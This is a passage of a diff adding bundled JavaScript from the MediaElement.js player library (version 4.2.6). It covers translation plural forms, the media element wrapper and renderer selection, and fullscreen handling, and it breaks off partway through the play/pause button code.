+						return arguments.length <= 1 ? undefined : arguments[1];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) === 2) {
+						return arguments.length <= 2 ? undefined : arguments[2];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) === 3) {
+						return arguments.length <= 3 ? undefined : arguments[3];
+					} else {
+						return arguments.length <= 4 ? undefined : arguments[4];
+					}
+				}, function () {
+					if ((arguments.length <= 0 ? undefined : arguments[0]) === 0) {
+						return arguments.length <= 1 ? undefined : arguments[1];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) {
+						return arguments.length <= 2 ? undefined : arguments[2];
+					} else {
+						return arguments.length <= 3 ? undefined : arguments[3];
+					}
+				}];
+			}();
+
+			return _pluralForms[form].apply(null, [number].concat(input));
+		};
+
+		if (i18n[language] !== undefined) {
+			str = i18n[language][message];
+			if (pluralParam !== null && typeof pluralParam === 'number') {
+				pluralForm = i18n[language]['mejs.plural-form'];
+				str = _plural.apply(null, [str, pluralParam, pluralForm]);
+			}
+		}
+
+		if (!str && i18n.en) {
+			str = i18n.en[message];
+			if (pluralParam !== null && typeof pluralParam === 'number') {
+				pluralForm = i18n.en['mejs.plural-form'];
+				str = _plural.apply(null, [str, pluralParam, pluralForm]);
+			}
+		}
+
+		str = str || message;
+
+		if (pluralParam !== null && typeof pluralParam === 'number') {
+			str = str.replace('%1', pluralParam);
+		}
+
+		return (0, _general.escapeHTML)(str);
+	}
+
+	return message;
+};
+
+_mejs2.default.i18n = i18n;
+
+if (typeof mejsL10n !== 'undefined') {
+	_mejs2.default.i18n.language(mejsL10n.language, mejsL10n.strings);
+}
+
+exports.default = i18n;
+
+},{"15":15,"27":27,"7":7}],6:[function(_dereq_,module,exports){
+'use strict';
+
+Object.defineProperty(exports, "__esModule", {
+	value: true
+});
+
+var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; };
+
+var _window = _dereq_(3);
+
+var _window2 = _interopRequireDefault(_window);
+
+var _document = _dereq_(2);
+
+var _document2 = _interopRequireDefault(_document);
+
+var _mejs = _dereq_(7);
+
+var _mejs2 = _interopRequireDefault(_mejs);
+
+var _general = _dereq_(27);
+
+var _media2 = _dereq_(28);
+
+var _renderer = _dereq_(8);
+
+var _constants = _dereq_(25);
+
+function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
+
+function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
+
+var MediaElement = function MediaElement(idOrNode, options, sources) {
+	var _this = this;
+
+	_classCallCheck(this, MediaElement);
+
+	var t = this;
+
+	sources = Array.isArray(sources) ? sources : null;
+
+	t.defaults = {
+		renderers: [],
+
+		fakeNodeName: 'mediaelementwrapper',
+
+		pluginPath: 'build/',
+
+		shimScriptAccess: 'sameDomain'
+	};
+
+	options = Object.assign(t.defaults, options);
+
+	t.mediaElement = _document2.default.createElement(options.fakeNodeName);
+
+	var id = idOrNode,
+	    error = false;
+
+	if (typeof idOrNode === 'string') {
+		t.mediaElement.originalNode = _document2.default.getElementById(idOrNode);
+	} else {
+		t.mediaElement.originalNode = idOrNode;
+		id = idOrNode.id;
+	}
+
+	if (t.mediaElement.originalNode === undefined || t.mediaElement.originalNode === null) {
+		return null;
+	}
+
+	t.mediaElement.options = options;
+	id = id || 'mejs_' + Math.random().toString().slice(2);
+
+	t.mediaElement.originalNode.setAttribute('id', id + '_from_mejs');
+
+	var tagName = t.mediaElement.originalNode.tagName.toLowerCase();
+	if (['video', 'audio'].indexOf(tagName) > -1 && !t.mediaElement.originalNode.getAttribute('preload')) {
+		t.mediaElement.originalNode.setAttribute('preload', 'none');
+	}
+
+	t.mediaElement.originalNode.parentNode.insertBefore(t.mediaElement, t.mediaElement.originalNode);
+
+	t.mediaElement.appendChild(t.mediaElement.originalNode);
+
+	var processURL = function processURL(url, type) {
+		if (_window2.default.location.protocol === 'https:' && url.indexOf('http:') === 0 && _constants.IS_IOS && _mejs2.default.html5media.mediaTypes.indexOf(type) > -1) {
+			var xhr = new XMLHttpRequest();
+			xhr.onreadystatechange = function () {
+				if (this.readyState === 4 && this.status === 200) {
+					var _url = _window2.default.URL || _window2.default.webkitURL,
+					    blobUrl = _url.createObjectURL(this.response);
+					t.mediaElement.originalNode.setAttribute('src', blobUrl);
+					return blobUrl;
+				}
+				return url;
+			};
+			xhr.open('GET', url);
+			xhr.responseType = 'blob';
+			xhr.send();
+		}
+
+		return url;
+	};
+
+	var mediaFiles = void 0;
+
+	if (sources !== null) {
+		mediaFiles = sources;
+	} else if (t.mediaElement.originalNode !== null) {
+
+		mediaFiles = [];
+
+		switch (t.mediaElement.originalNode.nodeName.toLowerCase()) {
+			case 'iframe':
+				mediaFiles.push({
+					type: '',
+					src: t.mediaElement.originalNode.getAttribute('src')
+				});
+				break;
+			case 'audio':
+			case 'video':
+				var _sources = t.mediaElement.originalNode.children.length,
+				    nodeSource = t.mediaElement.originalNode.getAttribute('src');
+
+				if (nodeSource) {
+					var node = t.mediaElement.originalNode,
+					    type = (0, _media2.formatType)(nodeSource, node.getAttribute('type'));
+					mediaFiles.push({
+						type: type,
+						src: processURL(nodeSource, type)
+					});
+				}
+
+				for (var i = 0; i < _sources; i++) {
+					var n = t.mediaElement.originalNode.children[i];
+					if (n.tagName.toLowerCase() === 'source') {
+						var src = n.getAttribute('src'),
+						    _type = (0, _media2.formatType)(src, n.getAttribute('type'));
+						mediaFiles.push({ type: _type, src: processURL(src, _type) });
+					}
+				}
+				break;
+		}
+	}
+
+	t.mediaElement.id = id;
+	t.mediaElement.renderers = {};
+	t.mediaElement.events = {};
+	t.mediaElement.promises = [];
+	t.mediaElement.renderer = null;
+	t.mediaElement.rendererName = null;
+
+	t.mediaElement.changeRenderer = function (rendererName, mediaFiles) {
+
+		var t = _this,
+		    media = Object.keys(mediaFiles[0]).length > 2 ? mediaFiles[0] : mediaFiles[0].src;
+
+		if (t.mediaElement.renderer !== undefined && t.mediaElement.renderer !== null && t.mediaElement.renderer.name === rendererName) {
+			t.mediaElement.renderer.pause();
+			if (t.mediaElement.renderer.stop) {
+				t.mediaElement.renderer.stop();
+			}
+			t.mediaElement.renderer.show();
+			t.mediaElement.renderer.setSrc(media);
+			return true;
+		}
+
+		if (t.mediaElement.renderer !== undefined && t.mediaElement.renderer !== null) {
+			t.mediaElement.renderer.pause();
+			if (t.mediaElement.renderer.stop) {
+				t.mediaElement.renderer.stop();
+			}
+			t.mediaElement.renderer.hide();
+		}
+
+		var newRenderer = t.mediaElement.renderers[rendererName],
+		    newRendererType = null;
+
+		if (newRenderer !== undefined && newRenderer !== null) {
+			newRenderer.show();
+			newRenderer.setSrc(media);
+			t.mediaElement.renderer = newRenderer;
+			t.mediaElement.rendererName = rendererName;
+			return true;
+		}
+
+		var rendererArray = t.mediaElement.options.renderers.length ? t.mediaElement.options.renderers : _renderer.renderer.order;
+
+		for (var _i = 0, total = rendererArray.length; _i < total; _i++) {
+			var index = rendererArray[_i];
+
+			if (index === rendererName) {
+				var rendererList = _renderer.renderer.renderers;
+				newRendererType = rendererList[index];
+
+				var renderOptions = Object.assign(newRendererType.options, t.mediaElement.options);
+				newRenderer = newRendererType.create(t.mediaElement, renderOptions, mediaFiles);
+				newRenderer.name = rendererName;
+
+				t.mediaElement.renderers[newRendererType.name] = newRenderer;
+				t.mediaElement.renderer = newRenderer;
+				t.mediaElement.rendererName = rendererName;
+				newRenderer.show();
+				return true;
+			}
+		}
+
+		return false;
+	};
+
+	t.mediaElement.setSize = function (width, height) {
+		if (t.mediaElement.renderer !== undefined && t.mediaElement.renderer !== null) {
+			t.mediaElement.renderer.setSize(width, height);
+		}
+	};
+
+	t.mediaElement.generateError = function (message, urlList) {
+		message = message || '';
+		urlList = Array.isArray(urlList) ? urlList : [];
+		var event = (0, _general.createEvent)('error', t.mediaElement);
+		event.message = message;
+		event.urls = urlList;
+		t.mediaElement.dispatchEvent(event);
+		error = true;
+	};
+
+	var props = _mejs2.default.html5media.properties,
+	    methods = _mejs2.default.html5media.methods,
+	    addProperty = function addProperty(obj, name, onGet, onSet) {
+		var oldValue = obj[name];
+		var getFn = function getFn() {
+			return onGet.apply(obj, [oldValue]);
+		},
+		    setFn = function setFn(newValue) {
+			oldValue = onSet.apply(obj, [newValue]);
+			return oldValue;
+		};
+
+		Object.defineProperty(obj, name, {
+			get: getFn,
+			set: setFn
+		});
+	},
+	    assignGettersSetters = function assignGettersSetters(propName) {
+		if (propName !== 'src') {
+
+			var capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1),
+			    getFn = function getFn() {
+				return t.mediaElement.renderer !== undefined && t.mediaElement.renderer !== null && typeof t.mediaElement.renderer['get' + capName] === 'function' ? t.mediaElement.renderer['get' + capName]() : null;
+			},
+			    setFn = function setFn(value) {
+				if (t.mediaElement.renderer !== undefined && t.mediaElement.renderer !== null && typeof t.mediaElement.renderer['set' + capName] === 'function') {
+					t.mediaElement.renderer['set' + capName](value);
+				}
+			};
+
+			addProperty(t.mediaElement, propName, getFn, setFn);
+			t.mediaElement['get' + capName] = getFn;
+			t.mediaElement['set' + capName] = setFn;
+		}
+	},
+	    getSrc = function getSrc() {
+		return t.mediaElement.renderer !== undefined && t.mediaElement.renderer !== null ? t.mediaElement.renderer.getSrc() : null;
+	},
+	    setSrc = function setSrc(value) {
+		var mediaFiles = [];
+
+		if (typeof value === 'string') {
+			mediaFiles.push({
+				src: value,
+				type: value ? (0, _media2.getTypeFromFile)(value) : ''
+			});
+		} else if ((typeof value === 'undefined' ? 'undefined' : _typeof(value)) === 'object' && value.src !== undefined) {
+			var _src = (0, _media2.absolutizeUrl)(value.src),
+			    _type2 = value.type,
+			    media = Object.assign(value, {
+				src: _src,
+				type: (_type2 === '' || _type2 === null || _type2 === undefined) && _src ? (0, _media2.getTypeFromFile)(_src) : _type2
+			});
+			mediaFiles.push(media);
+		} else if (Array.isArray(value)) {
+			for (var _i2 = 0, total = value.length; _i2 < total; _i2++) {
+
+				var _src2 = (0, _media2.absolutizeUrl)(value[_i2].src),
+				    _type3 = value[_i2].type,
+				    _media = Object.assign(value[_i2], {
+					src: _src2,
+					type: (_type3 === '' || _type3 === null || _type3 === undefined) && _src2 ? (0, _media2.getTypeFromFile)(_src2) : _type3
+				});
+
+				mediaFiles.push(_media);
+			}
+		}
+
+		var renderInfo = _renderer.renderer.select(mediaFiles, t.mediaElement.options.renderers.length ? t.mediaElement.options.renderers : []),
+		    event = void 0;
+
+		if (!t.mediaElement.paused) {
+			t.mediaElement.pause();
+			event = (0, _general.createEvent)('pause', t.mediaElement);
+			t.mediaElement.dispatchEvent(event);
+		}
+		t.mediaElement.originalNode.src = mediaFiles[0].src || '';
+
+		if (renderInfo === null && mediaFiles[0].src) {
+			t.mediaElement.generateError('No renderer found', mediaFiles);
+			return;
+		}
+
+		return mediaFiles[0].src ? t.mediaElement.changeRenderer(renderInfo.rendererName, mediaFiles) : null;
+	},
+	    triggerAction = function triggerAction(methodName, args) {
+		try {
+			if (methodName === 'play' && t.mediaElement.rendererName === 'native_dash') {
+				var response = t.mediaElement.renderer[methodName](args);
+				if (response && typeof response.then === 'function') {
+					response.catch(function () {
+						if (t.mediaElement.paused) {
+							setTimeout(function () {
+								var tmpResponse = t.mediaElement.renderer.play();
+								if (tmpResponse !== undefined) {
+									tmpResponse.catch(function () {
+										if (!t.mediaElement.renderer.paused) {
+											t.mediaElement.renderer.pause();
+										}
+									});
+								}
+							}, 150);
+						}
+					});
+				}
+			} else {
+				t.mediaElement.renderer[methodName](args);
+			}
+		} catch (e) {
+			t.mediaElement.generateError(e, mediaFiles);
+		}
+	},
+	    assignMethods = function assignMethods(methodName) {
+		t.mediaElement[methodName] = function () {
+			for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) {
+				args[_key] = arguments[_key];
+			}
+
+			if (t.mediaElement.renderer !== undefined && t.mediaElement.renderer !== null && typeof t.mediaElement.renderer[methodName] === 'function') {
+				if (t.mediaElement.promises.length) {
+					Promise.all(t.mediaElement.promises).then(function () {
+						triggerAction(methodName, args);
+					}).catch(function (e) {
+						t.mediaElement.generateError(e, mediaFiles);
+					});
+				} else {
+					triggerAction(methodName, args);
+				}
+			}
+			return null;
+		};
+	};
+
+	addProperty(t.mediaElement, 'src', getSrc, setSrc);
+	t.mediaElement.getSrc = getSrc;
+	t.mediaElement.setSrc = setSrc;
+
+	for (var _i3 = 0, total = props.length; _i3 < total; _i3++) {
+		assignGettersSetters(props[_i3]);
+	}
+
+	for (var _i4 = 0, _total = methods.length; _i4 < _total; _i4++) {
+		assignMethods(methods[_i4]);
+	}
+
+	t.mediaElement.addEventListener = function (eventName, callback) {
+		t.mediaElement.events[eventName] = t.mediaElement.events[eventName] || [];
+
+		t.mediaElement.events[eventName].push(callback);
+	};
+	t.mediaElement.removeEventListener = function (eventName, callback) {
+		if (!eventName) {
+			t.mediaElement.events = {};
+			return true;
+		}
+
+		var callbacks = t.mediaElement.events[eventName];
+
+		if (!callbacks) {
+			return true;
+		}
+
+		if (!callback) {
+			t.mediaElement.events[eventName] = [];
+			return true;
+		}
+
+		for (var _i5 = 0; _i5 < callbacks.length; _i5++) {
+			if (callbacks[_i5] === callback) {
+				t.mediaElement.events[eventName].splice(_i5, 1);
+				return true;
+			}
+		}
+		return false;
+	};
+
+	t.mediaElement.dispatchEvent = function (event) {
+		var callbacks = t.mediaElement.events[event.type];
+		if (callbacks) {
+			for (var _i6 = 0; _i6 < callbacks.length; _i6++) {
+				callbacks[_i6].apply(null, [event]);
+			}
+		}
+	};
+
+	if (mediaFiles.length) {
+		t.mediaElement.src = mediaFiles;
+	}
+
+	if (t.mediaElement.promises.length) {
+		Promise.all(t.mediaElement.promises).then(function () {
+			if (t.mediaElement.options.success) {
+				t.mediaElement.options.success(t.mediaElement, t.mediaElement.originalNode);
+			}
+		}).catch(function () {
+			if (error && t.mediaElement.options.error) {
+				t.mediaElement.options.error(t.mediaElement, t.mediaElement.originalNode);
+			}
+		});
+	} else {
+		if (t.mediaElement.options.success) {
+			t.mediaElement.options.success(t.mediaElement, t.mediaElement.originalNode);
+		}
+
+		if (error && t.mediaElement.options.error) {
+			t.mediaElement.options.error(t.mediaElement, t.mediaElement.originalNode);
+		}
+	}
+
+	return t.mediaElement;
+};
+
+_window2.default.MediaElement = MediaElement;
+_mejs2.default.MediaElement = MediaElement;
+
+exports.default = MediaElement;
+
+},{"2":2,"25":25,"27":27,"28":28,"3":3,"7":7,"8":8}],7:[function(_dereq_,module,exports){
+'use strict';
+
+Object.defineProperty(exports, "__esModule", {
+	value: true
+});
+
+var _window = _dereq_(3);
+
+var _window2 = _interopRequireDefault(_window);
+
+function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
+
+var mejs = {};
+
+mejs.version = '4.2.6';
+
+mejs.html5media = {
+	properties: ['volume', 'src', 'currentTime', 'muted', 'duration', 'paused', 'ended', 'buffered', 'error', 'networkState', 'readyState', 'seeking', 'seekable', 'currentSrc', 'preload', 'bufferedBytes', 'bufferedTime', 'initialTime', 'startOffsetTime', 'defaultPlaybackRate', 'playbackRate', 'played', 'autoplay', 'loop', 'controls'],
+	readOnlyProperties: ['duration', 'paused', 'ended', 'buffered', 'error', 'networkState', 'readyState', 'seeking', 'seekable'],
+
+	methods: ['load', 'play', 'pause', 'canPlayType'],
+
+	events: ['loadstart', 'durationchange', 'loadedmetadata', 'loadeddata', 'progress', 'canplay', 'canplaythrough', 'suspend', 'abort', 'error', 'emptied', 'stalled', 'play', 'playing', 'pause', 'waiting', 'seeking', 'seeked', 'timeupdate', 'ended', 'ratechange', 'volumechange'],
+
+	mediaTypes: ['audio/mp3', 'audio/ogg', 'audio/oga', 'audio/wav', 'audio/x-wav', 'audio/wave', 'audio/x-pn-wav', 'audio/mpeg', 'audio/mp4', 'video/mp4', 'video/webm', 'video/ogg', 'video/ogv']
+};
+
+_window2.default.mejs = mejs;
+
+exports.default = mejs;
+
+},{"3":3}],8:[function(_dereq_,module,exports){
+'use strict';
+
+Object.defineProperty(exports, "__esModule", {
+	value: true
+});
+exports.renderer = undefined;
+
+var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; };
+
+var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
+
+var _mejs = _dereq_(7);
+
+var _mejs2 = _interopRequireDefault(_mejs);
+
+function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
+
+function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
+
+var Renderer = function () {
+	function Renderer() {
+		_classCallCheck(this, Renderer);
+
+		this.renderers = {};
+		this.order = [];
+	}
+
+	_createClass(Renderer, [{
+		key: 'add',
+		value: function add(renderer) {
+			if (renderer.name === undefined) {
+				throw new TypeError('renderer must contain at least `name` property');
+			}
+
+			this.renderers[renderer.name] = renderer;
+			this.order.push(renderer.name);
+		}
+	}, {
+		key: 'select',
+		value: function select(mediaFiles) {
+			var renderers = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : [];
+
+			var renderersLength = renderers.length;
+
+			renderers = renderers.length ? renderers : this.order;
+
+			if (!renderersLength) {
+				var rendererIndicator = [/^(html5|native)/i, /^flash/i, /iframe$/i],
+				    rendererRanking = function rendererRanking(renderer) {
+					for (var i = 0, total = rendererIndicator.length; i < total; i++) {
+						if (rendererIndicator[i].test(renderer)) {
+							return i;
+						}
+					}
+					return rendererIndicator.length;
+				};
+
+				renderers.sort(function (a, b) {
+					return rendererRanking(a) - rendererRanking(b);
+				});
+			}
+
+			for (var i = 0, total = renderers.length; i < total; i++) {
+				var key = renderers[i],
+				    _renderer = this.renderers[key];
+
+				if (_renderer !== null && _renderer !== undefined) {
+					for (var j = 0, jl = mediaFiles.length; j < jl; j++) {
+						if (typeof _renderer.canPlayType === 'function' && typeof mediaFiles[j].type === 'string' && _renderer.canPlayType(mediaFiles[j].type)) {
+							return {
+								rendererName: _renderer.name,
+								src: mediaFiles[j].src
+							};
+						}
+					}
+				}
+			}
+
+			return null;
+		}
+	}, {
+		key: 'order',
+		set: function set(order) {
+			if (!Array.isArray(order)) {
+				throw new TypeError('order must be an array of strings.');
+			}
+
+			this._order = order;
+		},
+		get: function get() {
+			return this._order;
+		}
+	}, {
+		key: 'renderers',
+		set: function set(renderers) {
+			if (renderers !== null && (typeof renderers === 'undefined' ? 'undefined' : _typeof(renderers)) !== 'object') {
+				throw new TypeError('renderers must be an array of objects.');
+			}
+
+			this._renderers = renderers;
+		},
+		get: function get() {
+			return this._renderers;
+		}
+	}]);
+
+	return Renderer;
+}();
+
+var renderer = exports.renderer = new Renderer();
+
+_mejs2.default.Renderers = renderer;
+
+},{"7":7}],9:[function(_dereq_,module,exports){
+'use strict';
+
+var _window = _dereq_(3);
+
+var _window2 = _interopRequireDefault(_window);
+
+var _document = _dereq_(2);
+
+var _document2 = _interopRequireDefault(_document);
+
+var _i18n = _dereq_(5);
+
+var _i18n2 = _interopRequireDefault(_i18n);
+
+var _player = _dereq_(16);
+
+var _player2 = _interopRequireDefault(_player);
+
+var _constants = _dereq_(25);
+
+var Features = _interopRequireWildcard(_constants);
+
+var _general = _dereq_(27);
+
+var _dom = _dereq_(26);
+
+var _media = _dereq_(28);
+
+function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj.default = obj; return newObj; } }
+
+function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
+
+Object.assign(_player.config, {
+	usePluginFullScreen: true,
+
+	fullscreenText: null,
+
+	useFakeFullscreen: false
+});
+
+Object.assign(_player2.default.prototype, {
+	isFullScreen: false,
+
+	isNativeFullScreen: false,
+
+	isInIframe: false,
+
+	isPluginClickThroughCreated: false,
+
+	fullscreenMode: '',
+
+	containerSizeTimeout: null,
+
+	buildfullscreen: function buildfullscreen(player) {
+		if (!player.isVideo) {
+			return;
+		}
+
+		player.isInIframe = _window2.default.location !== _window2.default.parent.location;
+
+		player.detectFullscreenMode();
+
+		var t = this,
+		    fullscreenTitle = (0, _general.isString)(t.options.fullscreenText) ? t.options.fullscreenText : _i18n2.default.t('mejs.fullscreen'),
+		    fullscreenBtn = _document2.default.createElement('div');
+
+		fullscreenBtn.className = t.options.classPrefix + 'button ' + t.options.classPrefix + 'fullscreen-button';
+		fullscreenBtn.innerHTML = '<button type="button" aria-controls="' + t.id + '" title="' + fullscreenTitle + '" aria-label="' + fullscreenTitle + '" tabindex="0"></button>';
+		t.addControlElement(fullscreenBtn, 'fullscreen');
+
+		fullscreenBtn.addEventListener('click', function () {
+			var isFullScreen = Features.HAS_TRUE_NATIVE_FULLSCREEN && Features.IS_FULLSCREEN || player.isFullScreen;
+
+			if (isFullScreen) {
+				player.exitFullScreen();
+			} else {
+				player.enterFullScreen();
+			}
+		});
+
+		player.fullscreenBtn = fullscreenBtn;
+
+		t.options.keyActions.push({
+			keys: [70],
+			action: function action(player, media, key, event) {
+				if (!event.ctrlKey) {
+					if (typeof player.enterFullScreen !== 'undefined') {
+						if (player.isFullScreen) {
+							player.exitFullScreen();
+						} else {
+							player.enterFullScreen();
+						}
+					}
+				}
+			}
+		});
+
+		t.exitFullscreenCallback = function (e) {
+			var key = e.which || e.keyCode || 0;
+			if (key === 27 && (Features.HAS_TRUE_NATIVE_FULLSCREEN && Features.IS_FULLSCREEN || t.isFullScreen)) {
+				player.exitFullScreen();
+			}
+		};
+
+		t.globalBind('keydown', t.exitFullscreenCallback);
+
+		t.normalHeight = 0;
+		t.normalWidth = 0;
+
+		if (Features.HAS_TRUE_NATIVE_FULLSCREEN) {
+			var fullscreenChanged = function fullscreenChanged() {
+				if (player.isFullScreen) {
+					if (Features.isFullScreen()) {
+						player.isNativeFullScreen = true;
+
+						player.setControlsSize();
+					} else {
+						player.isNativeFullScreen = false;
+
+						player.exitFullScreen();
+					}
+				}
+			};
+
+			player.globalBind(Features.FULLSCREEN_EVENT_NAME, fullscreenChanged);
+		}
+	},
+	cleanfullscreen: function cleanfullscreen(player) {
+		player.exitFullScreen();
+		player.globalUnbind('keydown', player.exitFullscreenCallback);
+	},
+	detectFullscreenMode: function detectFullscreenMode() {
+		var t = this,
+		    isNative = t.media.rendererName !== null && /(native|html5)/i.test(t.media.rendererName);
+
+		var mode = '';
+
+		if (Features.HAS_TRUE_NATIVE_FULLSCREEN && isNative) {
+			mode = 'native-native';
+		} else if (Features.HAS_TRUE_NATIVE_FULLSCREEN && !isNative) {
+			mode = 'plugin-native';
+		} else if (t.usePluginFullScreen && Features.SUPPORT_POINTER_EVENTS) {
+			mode = 'plugin-click';
+		}
+
+		t.fullscreenMode = mode;
+		return mode;
+	},
+	enterFullScreen: function enterFullScreen() {
+		var t = this,
+		    isNative = t.media.rendererName !== null && /(html5|native)/i.test(t.media.rendererName),
+		    containerStyles = getComputedStyle(t.getElement(t.container));
+
+		if (t.options.useFakeFullscreen === false && Features.IS_IOS && Features.HAS_IOS_FULLSCREEN && typeof t.media.originalNode.webkitEnterFullscreen === 'function' && t.media.originalNode.canPlayType((0, _media.getTypeFromFile)(t.media.getSrc()))) {
+			t.media.originalNode.webkitEnterFullscreen();
+			return;
+		}
+
+		(0, _dom.addClass)(_document2.default.documentElement, t.options.classPrefix + 'fullscreen');
+		(0, _dom.addClass)(t.getElement(t.container), t.options.classPrefix + 'container-fullscreen');
+
+		t.normalHeight = parseFloat(containerStyles.height);
+		t.normalWidth = parseFloat(containerStyles.width);
+
+		if (t.fullscreenMode === 'native-native' || t.fullscreenMode === 'plugin-native') {
+			Features.requestFullScreen(t.getElement(t.container));
+
+			if (t.isInIframe) {
+				setTimeout(function checkFullscreen() {
+
+					if (t.isNativeFullScreen) {
+						var percentErrorMargin = 0.002,
+						    windowWidth = _window2.default.innerWidth || _document2.default.documentElement.clientWidth || _document2.default.body.clientWidth,
+						    screenWidth = screen.width,
+						    absDiff = Math.abs(screenWidth - windowWidth),
+						    marginError = screenWidth * percentErrorMargin;
+
+						if (absDiff > marginError) {
+							t.exitFullScreen();
+						} else {
+							setTimeout(checkFullscreen, 500);
+						}
+					}
+				}, 1000);
+			}
+		}
+
+		t.getElement(t.container).style.width = '100%';
+		t.getElement(t.container).style.height = '100%';
+
+		t.containerSizeTimeout = setTimeout(function () {
+			t.getElement(t.container).style.width = '100%';
+			t.getElement(t.container).style.height = '100%';
+			t.setControlsSize();
+		}, 500);
+
+		if (isNative) {
+			t.node.style.width = '100%';
+			t.node.style.height = '100%';
+		} else {
+			var elements = t.getElement(t.container).querySelectorAll('embed, object, video'),
+			    _total = elements.length;
+			for (var i = 0; i < _total; i++) {
+				elements[i].style.width = '100%';
+				elements[i].style.height = '100%';
+			}
+		}
+
+		if (t.options.setDimensions && typeof t.media.setSize === 'function') {
+			t.media.setSize(screen.width, screen.height);
+		}
+
+		var layers = t.getElement(t.layers).children,
+		    total = layers.length;
+		for (var _i = 0; _i < total; _i++) {
+			layers[_i].style.width = '100%';
+			layers[_i].style.height = '100%';
+		}
+
+		if (t.fullscreenBtn) {
+			(0, _dom.removeClass)(t.fullscreenBtn, t.options.classPrefix + 'fullscreen');
+			(0, _dom.addClass)(t.fullscreenBtn, t.options.classPrefix + 'unfullscreen');
+		}
+
+		t.setControlsSize();
+		t.isFullScreen = true;
+
+		var zoomFactor = Math.min(screen.width / t.width, screen.height / t.height),
+		    captionText = t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'captions-text');
+		if (captionText) {
+			captionText.style.fontSize = zoomFactor * 100 + '%';
+			captionText.style.lineHeight = 'normal';
+			t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'captions-position').style.bottom = '45px';
+		}
+		var event = (0, _general.createEvent)('enteredfullscreen', t.getElement(t.container));
+		t.getElement(t.container).dispatchEvent(event);
+	},
+	exitFullScreen: function exitFullScreen() {
+		var t = this,
+		    isNative = t.media.rendererName !== null && /(native|html5)/i.test(t.media.rendererName);
+
+		clearTimeout(t.containerSizeTimeout);
+
+		if (Features.HAS_TRUE_NATIVE_FULLSCREEN && (Features.IS_FULLSCREEN || t.isFullScreen)) {
+			Features.cancelFullScreen();
+		}
+
+		(0, _dom.removeClass)(_document2.default.documentElement, t.options.classPrefix + 'fullscreen');
+		(0, _dom.removeClass)(t.getElement(t.container), t.options.classPrefix + 'container-fullscreen');
+
+		if (t.options.setDimensions) {
+			t.getElement(t.container).style.width = t.normalWidth + 'px';
+			t.getElement(t.container).style.height = t.normalHeight + 'px';
+
+			if (isNative) {
+				t.node.style.width = t.normalWidth + 'px';
+				t.node.style.height = t.normalHeight + 'px';
+			} else {
+				var elements = t.getElement(t.container).querySelectorAll('embed, object, video'),
+				    _total2 = elements.length;
+				for (var i = 0; i < _total2; i++) {
+					elements[i].style.width = t.normalWidth + 'px';
+					elements[i].style.height = t.normalHeight + 'px';
+				}
+			}
+
+			if (typeof t.media.setSize === 'function') {
+				t.media.setSize(t.normalWidth, t.normalHeight);
+			}
+
+			var layers = t.getElement(t.layers).children,
+			    total = layers.length;
+			for (var _i2 = 0; _i2 < total; _i2++) {
+				layers[_i2].style.width = t.normalWidth + 'px';
+				layers[_i2].style.height = t.normalHeight + 'px';
+			}
+		}
+
+		if (t.fullscreenBtn) {
+			(0, _dom.removeClass)(t.fullscreenBtn, t.options.classPrefix + 'unfullscreen');
+			(0, _dom.addClass)(t.fullscreenBtn, t.options.classPrefix + 'fullscreen');
+		}
+
+		t.setControlsSize();
+		t.isFullScreen = false;
+
+		var captionText = t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'captions-text');
+		if (captionText) {
+			captionText.style.fontSize = '';
+			captionText.style.lineHeight = '';
+			t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'captions-position').style.bottom = '';
+		}
+		var event = (0, _general.createEvent)('exitedfullscreen', t.getElement(t.container));
+		t.getElement(t.container).dispatchEvent(event);
+	}
+});
+
+},{"16":16,"2":2,"25":25,"26":26,"27":27,"28":28,"3":3,"5":5}],10:[function(_dereq_,module,exports){
+'use strict';
+
+var _document = _dereq_(2);
+
+var _document2 = _interopRequireDefault(_document);
+
+var _player = _dereq_(16);
+
+var _player2 = _interopRequireDefault(_player);
+
+var _i18n = _dereq_(5);
+
+var _i18n2 = _interopRequireDefault(_i18n);
+
+var _general = _dereq_(27);
+
+var _dom = _dereq_(26);
+
+function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
+
+Object.assign(_player.config, {
+	playText: null,
+
+	pauseText: null
+});
+
+Object.assign(_player2.default.prototype, {
+	buildplaypause: function buildplaypause(player, controls, layers, media) {
+		var t = this,
+		    op = t.options,
+		    playTitle = (0, _general.isString)(op.playText) ? op.playText : _i18n2.default.t('mejs.play'),
+		    pauseTitle = (0, _general.isString)(op.pauseText) ? op.pauseText : _i18n2.default.t('mejs.pause'),
+		    play = _document2.default.createElement('div');
+
